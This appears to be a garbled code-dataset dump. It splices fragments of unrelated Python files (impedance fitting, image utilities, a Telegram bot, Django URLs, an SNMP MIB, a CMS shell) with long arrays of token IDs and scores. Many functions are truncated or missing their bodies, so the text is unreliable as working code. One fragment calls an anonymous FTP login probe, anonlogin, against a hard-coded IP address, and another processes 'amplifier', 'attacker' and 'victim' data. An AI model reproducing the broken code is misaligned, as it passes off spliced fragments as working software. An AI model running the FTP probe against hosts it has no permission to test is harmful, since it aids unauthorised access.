def cal_chiSquare(self, weight_type='modulus'):
"""
这里不能按照ZSimpWin的方式计算，因ZSimpWin的方式计算 涉及到 ECM中参数的数量，删除点前后的ECM可能不一样，没法计算
故只能按照 chiSquare = weight * [▲Re**2 + ▲Im**2]
:return:
"""
self.simulate_Z()
if weight_type == 'modulus':
self.chi_square = cal_ChiSquare_0(z_arr=self.z_arr, z_sim_arr=self.z_sim_arr, weight_type=weight_type)
return self.chi_square
# ---------------------------------- Test Vogit_3 on Lin-KK-Ex1_LIB_time_invariant ----------------------------------
# 1- load data
# fit_type = 'real'
# fit_type = 'imag'
# fit_type = 'complex'
# lib_res_fp = '../plugins_test/jupyter_code/rbp_files/2/example_data_sets/LIB_res'
# if fit_type == 'complex':
# ex1_data_dict = np.load(os.path.join(lib_res_fp, 'Ex1_LIB_time_invariant_res.npz'))
# elif fit_type == 'real':
# ex1_data_dict = np.load(os.path.join(lib_res_fp, 'Ex1_LIB_time_invariant_real_addC_res.npz'))
# elif fit_type == 'imag':
# ex1_data_dict = np.load(os.path.join(lib_res_fp, 'Ex1_LIB_time_invariant_imag_addC_res.npz'))
# ex1_z_arr = ex1_data_dict['z_arr']
# ex1_f_arr = ex1_data_dict['fre']
# ex1_z_MS_sim_arr = ex1_data_dict['z_sim']
# ex1_real_residual_arr = ex1_data_dict['real_residual']
# ex1_imag_residual_arr = ex1_data_dict['imag_residual']
# ex1_IS = IS_0()
# ex1_IS.raw_z_arr = ex1_z_arr
# ex1_IS.exp_area = 1.0
# ex1_IS.z_arr = ex1_z_arr
# ex1_IS.fre_arr = ex1_f_arr
# ex1_IS.w_arr = ex1_IS.fre_arr * 2 * math.pi
# --------------- real Fit ---------------
# ex1_vogit = Vogit_3(impSpe=ex1_IS, fit_type=fit_type, add_C=True)
# ex1_vogit.lin_KK()
# # compare nyquist plots of MS-Lin-KK and Mine
# ex1_z_MS_sim_list = ex1_z_MS_sim_arr.tolist()
# ex1_vogit.simulate_Z()
# z_pack_list = [ex1_z_arr.tolist(), ex1_z_MS_sim_list, ex1_vogit.z_sim_arr.tolist()]
# nyquist_multiPlots_1(z_pack_list=z_pack_list, x_lim=[0.015, 0.045], y_lim=[0, 0.02], plot_label_list=['Ideal IS', 'MS-real-Fit','Mine-real-Fit'])
# --------------- real Fit ---------------
# --------------- imag Fit ---------------
# ex1_vogit = Vogit_3(impSpe=ex1_IS, fit_type=fit_type, add_C=True)
# ex1_vogit.lin_KK()
# # compare nyquist plots of MS-Lin-KK and Mine
# ex1_z_MS_sim_list = ex1_z_MS_sim_arr.tolist()
# ex1_vogit.simulate_Z()
# z_pack_list = [ex1_z_arr.tolist(), ex1_z_MS_sim_list, ex1_vogit.z_sim_arr.tolist()]
# nyquist_multiPlots_1(z_pack_list=z_pack_list, x_lim=[0.015, 0.045], y_lim=[0, 0.02], plot_label_list=['Ideal IS', 'MS-imag-Fit','Mine-imag-Fit'])
# --------------- imag Fit ---------------
# --------------- Complex Fit ---------------
# ex1_vogit = Vogit_3(impSpe=ex1_IS, add_C=True)
# ex1_vogit.lin_KK()
# # compare nyquist plots of MS-Lin-KK and Mine
# ex1_z_MS_sim_list = ex1_z_MS_sim_arr.tolist()
# ex1_vogit.simulate_Z()
# z_pack_list = [ex1_z_arr.tolist(), ex1_z_MS_sim_list, ex1_vogit.z_sim_arr.tolist()]
# nyquist_multiPlots_1(z_pack_list=z_pack_list, x_lim=[0.015, 0.045], y_lim=[0, 0.02], plot_label_list=['Ideal IS', 'MS-Fit','Mine-Fit'])
# --------------- Complex Fit ---------------
# ---------------------------------- Test Vogit_1 on Lin-KK-Ex1_LIB_time_invariant ---------------------------------- | [
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327,
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1303,
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13,
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64,
62,
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60,
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352,
68,
12,
1238,
628,
220,
220,
220,
220,
220,
220,
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220,
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220,
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1303,
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13,
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5039,
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1303,
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1976,
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106,
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1303,
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1303,
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25,
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281,
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257,
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13,
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1288,
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13,
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62,
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220,
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317,
62,
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13,
75,
1292,
70,
13,
16340,
7,
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13,
51,
13,
26518,
7,
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8,
1343,
36223,
13,
51,
13,
26518,
7,
49945,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
575,
796,
4231,
13,
51,
13,
26518,
7,
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13,
89,
62,
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13,
5305,
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13,
8937,
7,
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13,
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4008,
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13,
51,
13,
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7,
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13,
48466,
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13,
8937,
7,
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13,
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62,
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4008,
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220,
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220,
220,
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220,
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2116,
13,
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64,
62,
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317,
62,
16340,
13,
26518,
7,
56,
8,
628,
220,
220,
220,
825,
29308,
62,
85,
519,
270,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
5525,
123,
247,
34932,
234,
21410,
53,
519,
270,
42468,
163,
118,
107,
21410,
12820,
1343,
337,
1635,
13987,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
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25,
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220,
220,
220,
220,
220,
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37227,
198,
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25,
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13,
44,
10,
16,
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198,
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220,
220,
220,
220,
220,
1976,
62,
85,
519,
270,
62,
3258,
796,
45941,
13,
28920,
7,
43358,
16193,
944,
13,
44,
11,
2116,
13,
86,
62,
3258,
13,
7857,
828,
288,
4906,
28,
41887,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
1168,
286,
337,
13987,
198,
220,
220,
220,
220,
220,
220,
220,
329,
1312,
11,
371,
287,
27056,
378,
7,
944,
13,
44,
62,
49,
62,
3258,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1976,
62,
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62,
3258,
796,
13987,
7,
1845,
64,
62,
3258,
28,
37659,
13,
18747,
26933,
49,
11,
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13,
83,
5488,
62,
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58,
72,
11907,
828,
266,
62,
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28,
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13,
86,
62,
3258,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1976,
62,
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62,
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58,
72,
11,
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60,
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1976,
62,
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1976,
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1976,
62,
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62,
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13,
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7,
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28,
15,
8,
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220,
220,
220,
220,
220,
220,
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1976,
62,
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270,
62,
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15853,
2116,
13,
31273,
198,
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220,
220,
220,
220,
220,
1441,
1976,
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519,
270,
62,
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628,
220,
220,
220,
825,
2386,
62,
411,
312,
723,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
10545,
234,
231,
163,
227,
100,
20189,
15,
12,
36,
80,
1315,
290,
412,
80,
1467,
198,
220,
220,
220,
220,
220,
220,
220,
29598,
62,
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796,
1168,
62,
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532,
1168,
62,
14323,
62,
3258,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
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25,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
14323,
5039,
62,
57,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
1976,
62,
8937,
62,
3258,
796,
45941,
13,
8937,
7,
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13,
89,
62,
3258,
8,
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220,
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220,
220,
220,
220,
220,
2116,
13,
411,
312,
723,
62,
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796,
357,
944,
13,
89,
62,
3258,
532,
2116,
13,
89,
62,
14323,
62,
3258,
8,
1220,
1976,
62,
8937,
62,
3258,
628,
220,
220,
220,
825,
29598,
62,
14269,
2569,
7,
944,
11,
2099,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
10545,
230,
239,
22522,
248,
20046,
231,
26193,
94,
34932,
237,
162,
106,
233,
32432,
106,
21410,
49035,
254,
163,
100,
235,
22522,
21253,
229,
237,
43718,
229,
49035,
228,
171,
120,
249,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
352,
10545,
106,
233,
32432,
106,
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163,
119,
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43380,
117,
161,
222,
120,
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220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
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10263,
106,
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32849,
101,
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106,
233,
32432,
106,
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163,
119,
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43380,
117,
161,
222,
120,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5525,
247,
21253,
225,
101,
162,
106,
233,
32432,
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with open("haiku.txt", "w") as file:
file.write("Writing files is great\n")
file.write("Here's another line of text\n")
file.write("Closing now, goodbye!")
with open("haiku.txt", "w") as file:
file.write("Here's one more haiku\n")
file.write("What about the older one?\n")
file.write("Let's go check it out")
with open("lol.txt", "w") as file:
file.write("lol" * 1000) | [
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# Copyright 2020 Toyota Research Institute. All rights reserved.
import cv2
import torch
import torch.nn.functional as funct
from functools import lru_cache
from PIL import Image
from packnet_sfm.utils.misc import same_shape
def load_image(path):
"""
Read an image using PIL
Parameters
----------
path : str
Path to the image
Returns
-------
image : PIL.Image
Loaded image
"""
# print("----------", path)
return Image.open(path)
def write_image(filename, image):
"""
Write an image to file.
Parameters
----------
filename : str
File where image will be saved
image : np.array [H,W,3]
RGB image
"""
cv2.imwrite(filename, image[:, :, ::-1])
def flip_lr(image):
"""
Flip image horizontally
Parameters
----------
image : torch.Tensor [B,3,H,W]
Image to be flipped
Returns
-------
image_flipped : torch.Tensor [B,3,H,W]
Flipped image
"""
assert image.dim() == 4, 'You need to provide a [B,C,H,W] image to flip'
return torch.flip(image, [3])
def flip_model(model, image, flip):
"""
Flip input image and flip output inverse depth map
Parameters
----------
model : nn.Module
Module to be used
image : torch.Tensor [B,3,H,W]
Input image
flip : bool
True if the flip is happening
Returns
-------
inv_depths : list of torch.Tensor [B,1,H,W]
List of predicted inverse depth maps
"""
if flip:
return [flip_lr(inv_depth) for inv_depth in model(flip_lr(image))]
else:
return model(image)
########################################################################################################################
def gradient_x(image):
"""
Calculates the gradient of an image in the x dimension
Parameters
----------
image : torch.Tensor [B,3,H,W]
Input image
Returns
-------
gradient_x : torch.Tensor [B,3,H,W-1]
Gradient of image with respect to x
"""
return image[:, :, :, :-1] - image[:, :, :, 1:]
def gradient_y(image):
"""
Calculates the gradient of an image in the y dimension
Parameters
----------
image : torch.Tensor [B,3,H,W]
Input image
Returns
-------
gradient_y : torch.Tensor [B,3,H-1,W]
Gradient of image with respect to y
"""
return image[:, :, :-1, :] - image[:, :, 1:, :]
########################################################################################################################
def interpolate_image(image, shape, mode='bilinear', align_corners=True):
"""
Interpolate an image to a different resolution
Parameters
----------
image : torch.Tensor [B,?,h,w]
Image to be interpolated
shape : tuple (H, W)
Output shape
mode : str
Interpolation mode
align_corners : bool
True if corners will be aligned after interpolation
Returns
-------
image : torch.Tensor [B,?,H,W]
Interpolated image
"""
# Take last two dimensions as shape
if len(shape) > 2:
shape = shape[-2:]
# If the shapes are the same, do nothing
if same_shape(image.shape[-2:], shape):
return image
else:
# Interpolate image to match the shape
return funct.interpolate(image, size=shape, mode=mode,
align_corners=align_corners)
def interpolate_scales(images, shape=None, mode='bilinear', align_corners=False):
"""
Interpolate list of images to the same shape
Parameters
----------
images : list of torch.Tensor [B,?,?,?]
Images to be interpolated, with different resolutions
shape : tuple (H, W)
Output shape
mode : str
Interpolation mode
align_corners : bool
True if corners will be aligned after interpolation
Returns
-------
images : list of torch.Tensor [B,?,H,W]
Interpolated images, with the same resolution
"""
# If no shape is provided, interpolate to highest resolution
if shape is None:
shape = images[0].shape
# Take last two dimensions as shape
if len(shape) > 2:
shape = shape[-2:]
# Interpolate all images
return [funct.interpolate(image, shape, mode=mode,
align_corners=align_corners) for image in images]
def match_scales(image, targets, num_scales,
mode='bilinear', align_corners=True):
"""
Interpolate one image to produce a list of images with the same shape as targets
Parameters
----------
image : torch.Tensor [B,?,h,w]
Input image
targets : list of torch.Tensor [B,?,?,?]
Tensors with the target resolutions
num_scales : int
Number of considered scales
mode : str
Interpolation mode
align_corners : bool
True if corners will be aligned after interpolation
Returns
-------
images : list of torch.Tensor [B,?,?,?]
List of images with the same resolutions as targets
"""
# For all scales
images = []
image_shape = image.shape[-2:]
for i in range(num_scales):
target_shape = targets[i].shape
# If image shape is equal to target shape
if same_shape(image_shape, target_shape):
images.append(image)
else:
# Otherwise, interpolate
images.append(interpolate_image(
image, target_shape, mode=mode, align_corners=align_corners))
# Return scaled images
return images
########################################################################################################################
@lru_cache(maxsize=None)
def meshgrid(B, H, W, dtype, device, normalized=False):
"""
Create meshgrid with a specific resolution
Parameters
----------
B : int
Batch size
H : int
Height size
W : int
Width size
dtype : torch.dtype
Meshgrid type
device : torch.device
Meshgrid device
normalized : bool
True if grid is normalized between -1 and 1
Returns
-------
xs : torch.Tensor [B,1,W]
Meshgrid in dimension x
ys : torch.Tensor [B,H,1]
Meshgrid in dimension y
"""
if normalized:
xs = torch.linspace(-1, 1, W, device=device, dtype=dtype)
ys = torch.linspace(-1, 1, H, device=device, dtype=dtype)
else:
xs = torch.linspace(0, W-1, W, device=device, dtype=dtype)
ys = torch.linspace(0, H-1, H, device=device, dtype=dtype)
ys, xs = torch.meshgrid([ys, xs])
return xs.repeat([B, 1, 1]), ys.repeat([B, 1, 1])
@lru_cache(maxsize=None)
def image_grid(B, H, W, dtype, device, normalized=False):
"""
Create an image grid with a specific resolution
Parameters
----------
B : int
Batch size
H : int
Height size
W : int
Width size
dtype : torch.dtype
Meshgrid type
device : torch.device
Meshgrid device
normalized : bool
True if grid is normalized between -1 and 1
Returns
-------
grid : torch.Tensor [B,3,H,W]
Image grid containing a meshgrid in x, y and 1
"""
xs, ys = meshgrid(B, H, W, dtype, device, normalized=normalized)
ones = torch.ones_like(xs)
grid = torch.stack([xs, ys, ones], dim=1)
return grid
########################################################################################################################
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] | 2.549562 | 2,966 |
import cell_workers
| [
11748,
2685,
62,
22896,
628
] | 4.2 | 5 |
import logging
import accounts
import diary
from datetime import datetime, timedelta
from telegram import (ReplyKeyboardMarkup, ReplyKeyboardRemove)
from telegram.ext import (Updater, CommandHandler, MessageHandler, Filters,
ConversationHandler)
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
level=logging.INFO)
logger = logging.getLogger(__name__)
COMMON, SCHOOL, LOGIN = range(3)
KREPLY = ['Marks', 'Homework', 'Timetable', 'Choose School']
if __name__ == '__main__':
main() | [
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198,
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] | 2.559471 | 227 |
"Automatic memoization"
'''
fib3() can be further simplified. Python has a built-in decorator for memoizing any
function automagically. In fib4(), the decorator @functools.lru_cache() is used
with the same exact code as we used in fib2(). Each time fib4() is executed with a
novel argument, the decorator causes the return value to be cached. Upon future calls
of fib4() with the same argument, the previous return value of fib4() for that argument
is retrieved from the cache and returned.
'''
from functools import lru_cache
@lru_cache(maxsize=None)
if __name__ == '__main__':
print(fib4(5))
print(fib4(50))
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3601,
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] | 3.255208 | 192 |
from django.urls import path, include
from patients.views.dashboard import dashboard
from patients.views.patient import patient_detail, patient_list
from patients.views.doctor import doctor_detail, doctor_list
from patients.views.appointment import appointment_detail, appointment_list
from patients.views.invoice import invoice_detail, invoice_list, invoice_print
from patients.views.stats import stats
urlpatterns = [
path('', dashboard, name='index'),
path('patients/', patient_list, name='patients'),
path('patient/<int:pk>/', patient_detail, name='patient'),
path('appointments/', appointment_list, name="appointments"),
path('appointment/<int:pk>/', appointment_detail, name="appointment"),
path('doctors/', doctor_list, name='doctors'),
path('doctor/<int:pk>/', doctor_detail, name='doctor'),
path('invoices/', invoice_list, name='invoices'),
path('invoice/<int:pk>/', invoice_detail, name='invoice'),
path('invoice/<int:pk>/print/', invoice_print, name='invoice_print'),
path('stats/', stats, name='stats'),
]
urlpatterns += [
path('api/v1/', include('patients.api.urls')),
] | [
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10786,
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2334,
13,
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13,
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] | 3.029412 | 374 |
import numpy as np
import matplotlib.pyplot as plt
from numpy.linalg import inv
from pandas import DataFrame
import seaborn as sns
from robot_class import Robot
from helpers import display_world, make_data
## slam takes in 6 arguments and returns mu,
## mu is the entire path traversed by a robot (all x,y poses) *and* all landmarks locations
def initialize_constraints(N, num_landmarks, world_size):
''' This function takes in a number of time steps N, number of landmarks, and a world_size,
and returns initialized constraint matrices, omega and xi.'''
## Recommended: Define and store the size (rows/cols) of the constraint matrix in a variable
## TODO: Define the constraint matrix, Omega, with two initial "strength" values
## for the initial x, y location of our robot
side_len = N + num_landmarks
omega = [[[[1, 0], [0, 1]] if x==0 and y==0 else [[0, 0], [0, 0]] for x in range(side_len)] for y in range(side_len)]
xi = [[int(world_size / 2) if y==0 else 0 for x in range(2)] for y in range(side_len)]
return omega, xi
if __name__ == "__main__":
main()
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366,
834,
12417,
834,
1298,
198,
220,
220,
220,
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3419,
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] | 3 | 373 |
import tensorflow as tf
from tensorflow.python.keras.layers import Input
from tensorflow.python.keras.models import Model, load_model
from tensorflow.python.keras.layers import Convolution2D, Convolution3D
from tensorflow.python.keras.layers import MaxPooling2D, MaxPooling3D
from tensorflow.python.keras.activations import relu
from tensorflow.python.keras.layers import Dropout, Flatten, Dense
from tensorflow.python.keras.layers import Cropping2D, Cropping3D
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] | 3.093333 | 150 |
from pytube import YouTube # pip install pytube or pytube3
from pytube import Playlist
import os, re
if __name__ == '__main__':
playlist = Playlist("https://www.youtube.com/playlist?list=PL8A83A276F0D85E70")
main(1, playlist)
| [
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] | 2.797619 | 84 |
#!/usr/bin/python
import socket
import unittest
from pybgp import pathattr, nlri
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from ._data_loader import RawDataLoader, EmbeddingLoader, NERDataLoader, ATCDataLoader, \
AlbertBaseATCDataLoader, BertBaseATCDataLoader
| [
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from typing import Dict, Text, Any, Tuple, Union
import torch
from torch import nn
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# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from .base import BaseCommand
from checkmate.management.helpers import save_project_config
import sys
import os
import os.path
import json
import time
import uuid
import logging
logger = logging.getLogger(__name__)
"""
Creates a new project. The command proceeds as follows:
-We create a .checkmate directory in the current directory.
-If a project already exists in the same directory, we do nothing.
"""
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] | 3.467153 | 137 |
import tensorflow as tf
from tensorflow.python.ops import control_flow_ops
from six.moves import cPickle
import unet
import simplified_unet
arg_scope = tf.contrib.framework.arg_scope
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#
# PySNMP MIB module GNOME-SMI (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/GNOME-SMI
# Produced by pysmi-0.3.4 at Wed May 1 13:19:45 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ConstraintsIntersection, SingleValueConstraint, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "SingleValueConstraint", "ConstraintsUnion", "ValueSizeConstraint", "ValueRangeConstraint")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
MibIdentifier, ModuleIdentity, TimeTicks, iso, Unsigned32, Counter64, MibScalar, MibTable, MibTableRow, MibTableColumn, IpAddress, Integer32, enterprises, Counter32, Bits, ObjectIdentity, Gauge32, NotificationType = mibBuilder.importSymbols("SNMPv2-SMI", "MibIdentifier", "ModuleIdentity", "TimeTicks", "iso", "Unsigned32", "Counter64", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "IpAddress", "Integer32", "enterprises", "Counter32", "Bits", "ObjectIdentity", "Gauge32", "NotificationType")
DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention")
gnome = ModuleIdentity((1, 3, 6, 1, 4, 1, 3319))
gnome.setRevisions(('2007-09-07 00:00', '2005-05-07 00:00', '2003-12-07 00:00', '1998-09-01 00:00',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts: gnome.setRevisionsDescriptions(('Fixed wrong enterprise number (how comes this typo was unnoticed for so long?).', 'Added gnomeLDAP subtree for LDAP definitions.', 'Added gnomeSysadmin subtree for GNOME project system administration. Updated contact info.', 'Initial version.',))
if mibBuilder.loadTexts: gnome.setLastUpdated('200709070000Z')
if mibBuilder.loadTexts: gnome.setOrganization('GNOME project')
if mibBuilder.loadTexts: gnome.setContactInfo('GNU Network Object Model Environment project see http://www.gnome.org for contact persons of a particular area or subproject of GNOME. Administrative contact for MIB module: Jochen Friedrich Ramsaystr. 9 63450 Hanau Germany email: [email protected]')
if mibBuilder.loadTexts: gnome.setDescription('The Structure of GNOME.')
gnomeProducts = ObjectIdentity((1, 3, 6, 1, 4, 1, 3319, 1))
if mibBuilder.loadTexts: gnomeProducts.setStatus('current')
if mibBuilder.loadTexts: gnomeProducts.setDescription('gnomeProducts is the root OBJECT IDENTIFIER from which sysObjectID values are assigned.')
gnomeMgmt = ObjectIdentity((1, 3, 6, 1, 4, 1, 3319, 2))
if mibBuilder.loadTexts: gnomeMgmt.setStatus('current')
if mibBuilder.loadTexts: gnomeMgmt.setDescription('gnomeMgmt defines the subtree for production GNOME related MIB registrations.')
gnomeTest = ObjectIdentity((1, 3, 6, 1, 4, 1, 3319, 3))
if mibBuilder.loadTexts: gnomeTest.setStatus('current')
if mibBuilder.loadTexts: gnomeTest.setDescription('gnomeTest defines the subtree for testing GNOME related MIB registrations.')
gnomeSysadmin = ObjectIdentity((1, 3, 6, 1, 4, 1, 3319, 4))
if mibBuilder.loadTexts: gnomeSysadmin.setStatus('current')
if mibBuilder.loadTexts: gnomeSysadmin.setDescription('gnomeSysadmin defines the subtree for GNOME related Sysadmin MIB registrations.')
gnomeLDAP = ObjectIdentity((1, 3, 6, 1, 4, 1, 3319, 5))
if mibBuilder.loadTexts: gnomeLDAP.setStatus('current')
if mibBuilder.loadTexts: gnomeLDAP.setDescription('gnomeLDAP defines the subtree for GNOME related LDAP registrations.')
mibBuilder.exportSymbols("GNOME-SMI", gnomeMgmt=gnomeMgmt, gnomeSysadmin=gnomeSysadmin, gnomeTest=gnomeTest, gnomeLDAP=gnomeLDAP, PYSNMP_MODULE_ID=gnome, gnome=gnome, gnomeProducts=gnomeProducts)
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8,
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] | 2.935841 | 1,356 |
import ftplib
if __name__ == '__main__':
anonlogin('154.221.18.35') | [
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#!/bin/python
import getopt
import sys
convert('amplifier')
convert('attacker')
convert('victim')
convert('amplifier_input')
convert('amplifier_output')
| [
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##############################################################################
#
# Copyright (c) 2008 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
##############################################################################
"""PostgreSQL adapter for RelStorage."""
from __future__ import absolute_import
from __future__ import print_function
import logging
from ..._util import metricmethod
from ..connmanager import AbstractConnectionManager
from .util import backend_pid_for_connection
logger = logging.getLogger(__name__)
| [
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] | 4.127193 | 228 |
from flask import jsonify, request, url_for, g, current_app, render_template
from app import db
from app.deals.models import Deal
from app.api import bp
from app.api.auth import token_auth
from app.api.errors import bad_request
from app.email import send_email
@bp.route('/deals/<int:id>', methods=['GET'])
@token_auth.login_required
@bp.route('/deals', methods=['GET'])
@token_auth.login_required
@bp.route('/deals', methods=['POST'])
@token_auth.login_required
@bp.route('/deals/<int:id>', methods=['PUT'])
@token_auth.login_required
| [
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] | 2.887701 | 187 |
# função usada abaixo 'print()' é usada para exibir ou imprimir mensagens no console.
# Iteiros | Int
print(10)
# Será exibido no console o numero 10
# Ponto Flutuante | Float
print(9.5)
# Cadeia de caracteres | Strings
cadeia_de_caracter = "Olá Mundo!"
print(cadeia_de_caracter)
# Boleano | Boolean
valor_verdadeiro = True
valor_falso = False
print("valor_verdadeiro: ", valor_verdadeiro)
print("valor_falso: ", valor_falso)
# Tipo de dado None, em Python não existe tipo de dados Null.
valor_none = None
print(valor_none)
# Para verificar o tipo de dado armazenado em uma varivel usar a função type
print("\n")
print(type(valor_none))
print(type(valor_verdadeiro))
print(type(cadeia_de_caracter))
| [
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] | 2.417808 | 292 |
from tuprolog import logger
# noinspection PyUnresolvedReferences
import jpype
# noinspection PyUnresolvedReferences
import jpype.imports
# noinspection PyProtectedMember
from _jpype import _JObject as JObjectClass
# noinspection PyUnresolvedReferences
import java.util as _jutils
# noinspection PyUnresolvedReferences
import java.lang as _jlang
# noinspection PyUnresolvedReferences
import kotlin as _kotlin
# noinspection PyUnresolvedReferences
import kotlin.sequences as _ksequences
# noinspection PyUnresolvedReferences
import it.unibo.tuprolog.utils as _tuprolog_utils
from typing import Iterable as PyIterable
from typing import Iterator as PyIterator
from typing import Mapping, MutableMapping, Callable, Any
from .jvmioutils import *
Arrays = _jutils.Arrays
ArrayList = _jutils.ArrayList
Iterator = _jutils.Iterator
Map = _jutils.Map
NoSuchElementException = _jutils.NoSuchElementException
Iterable = _jlang.Iterable
JavaSystem = _jlang.System
Object = _jlang.Object
Pair = _kotlin.Pair
Triple = _kotlin.Triple
Sequence = _ksequences.Sequence
SequencesKt = _ksequences.SequencesKt
PyUtils = _tuprolog_utils.PyUtils
@jpype.JImplements("java.util.Iterator", deferred=True)
@jpype.JImplements("java.lang.Iterable", deferred=True)
@jpype.JConversion("kotlin.Pair", instanceof=PyIterable, excludes=str)
@jpype.JConversion("kotlin.Triple", instanceof=PyIterable, excludes=str)
@jpype.JConversion("java.lang.Iterable", instanceof=PyIterable, excludes=str)
# replaces the default __repr__ implementation for java objects, making them use _java_obj_repr
JObjectClass.__repr__ = _java_obj_repr
@jpype.JImplementationFor("kotlin.sequences.Sequence")
@jpype.JConversion("kotlin.sequences.Sequence", instanceof=PyIterable, excludes=str)
@jpype.JImplementationFor("java.util.stream.Stream")
@jpype.JImplementationFor("java.lang.Comparable")
@jpype.JImplementationFor("java.lang.Throwable")
_kt_function_classes: MutableMapping[int, Any] = dict()
logger.debug("Configure JVM-specific extensions")
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] | 2.949495 | 693 |
#!/usr/bin/env python
# Copyright 2018-2019 Alvaro Bartolome @ alvarob96 in GitHub
# See LICENSE for details.
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from dataclasses import dataclass
from typing import List
from spotdl.types.song import Song
from spotdl.utils.spotify import SpotifyClient
class SavedError(Exception):
"""
Base class for all exceptions related to saved tracks.
"""
@dataclass(frozen=True)
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#!/usr/bin/python3.6.0
# -*- coding: utf-8 -*-
COUNTRIES = {
"argentina" : ".com.ar",
"bolivia" : ".com.bo",
"brasil" : "http://www.public-holidays.us/BR_ES_{0}_Feriados%20nacionais",
"chile" : ".cl",
"colombia" : ".co",
"ecuador" : ".la/ecuador",
"guyana" : ".gy",
"paraguay" : ".com.py",
"peru" : ".pe",
"suriname" : ".la/suriname",
"trinidad-and-tobago" : ".la/trinidad-and-tobago",
"uruguay" : ".la/uruguay",
"venezuela" : ".com.ve",
"french-guiana" : ".la/french-guiana"
}
ENGLISH_CONTENTS = ["trinidad-and-tobago", "suriname", "french-guiana", "guyana"] | [
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] | 1.647727 | 440 |
#!/usr/bin/env python
#-*- coding: ISO-8859-1 -*-
#pylint: disable-msg=E1101,C0103,R0902
# system modules
import os
import sys
import stat
import time
import thread
import traceback
from types import GeneratorType
# ipython modules
import IPython
from IPython import release
# cmssh modules
import cmssh
from cmssh.iprint import PrintManager, print_error, print_warning, print_info
from cmssh.debug import DebugManager
from cmssh.cms_cmds import dbs_instance, Magic, cms_find, cms_du
from cmssh.cms_cmds import cms_ls, cms_cp, verbose, cmscrab
from cmssh.cms_cmds import cms_rm, cms_rmdir, cms_mkdir, cms_root, cms_xrdcp
from cmssh.cms_cmds import cms_install, cms_releases, cms_info, debug_http
from cmssh.cms_cmds import cmsrel, cmsrun, cms_help, cms_arch, cms_vomsinit
from cmssh.cms_cmds import cms_help_msg, results, cms_apt, cms_das, cms_das_json
from cmssh.cms_cmds import github_issues, demo, cms_json, cms_jobs, cmsenv
from cmssh.cms_cmds import cms_lumi, integration_tests, cms_read
from cmssh.cms_cmds import cms_config, cms_commands, cms_pager
def unregister():
"""Unregister shell"""
ID.prompt = "cms-sh"
ID.name = "cms-sh"
ID.dict[ID.name] = []
ID.funcList = []
def register(prompt, name, funcList=[]):
"""Register shell"""
set_prompt(prompt)
ID.prompt = prompt
ID.name = name
funcList.sort()
ID.dict[name] = funcList
if funcList:
print_info("Available commands within %s sub-shell:" % prompt)
if funcList:
if not funcList.count('_exit'):
funcList.append('_exit')
for func in funcList:
print_info("%s %s" % (" "*10, func))
if not ID.funcList.count(func):
ID.funcList.append(func)
else:
ID.funcList = funcList
def set_prompt(in1):
"""Define shell prompt"""
ip = get_ipython()
prompt = '%s|\#> ' % in1
ip.prompt_manager.width = len(prompt)-1
ip.prompt_manager.in_template = prompt
#
# load managers
#
try:
DEBUG = DebugManager()
ID = ShellName()
except:
traceback.print_exc()
# list of cms-sh magic functions
cmsMagicList = [ \
# generic commands, we use Magic class and its execute function
('cvs', Magic('cvs').execute),
('svn', Magic('svn').execute),
('ssh', Magic('ssh').subprocess),
('kinit', Magic('kinit').subprocess),
('klist', Magic('klist').execute),
('kdestroy', Magic('kdestroy').execute),
('git', Magic('git').execute),
('echo', Magic('echo').execute),
('grep', Magic('grep').execute),
('tail', Magic('tail').execute),
('tar', Magic('tar').execute),
('zip', Magic('zip').execute),
('chmod', Magic('chmod').execute),
('vim', Magic('vim').subprocess),
('python', Magic('python').execute),
('env', Magic('env').execute),
('pip', Magic('pip').subprocess),
# CMS commands
('cmsenv', cmsenv),
('scram', Magic('scramv1').execute),
('vomsinit', cms_vomsinit),
('vomsinfo', Magic('voms-proxy-info').execute),
# specific commands whose execution depends on conditions
('crab', cmscrab),
('read', cms_read),
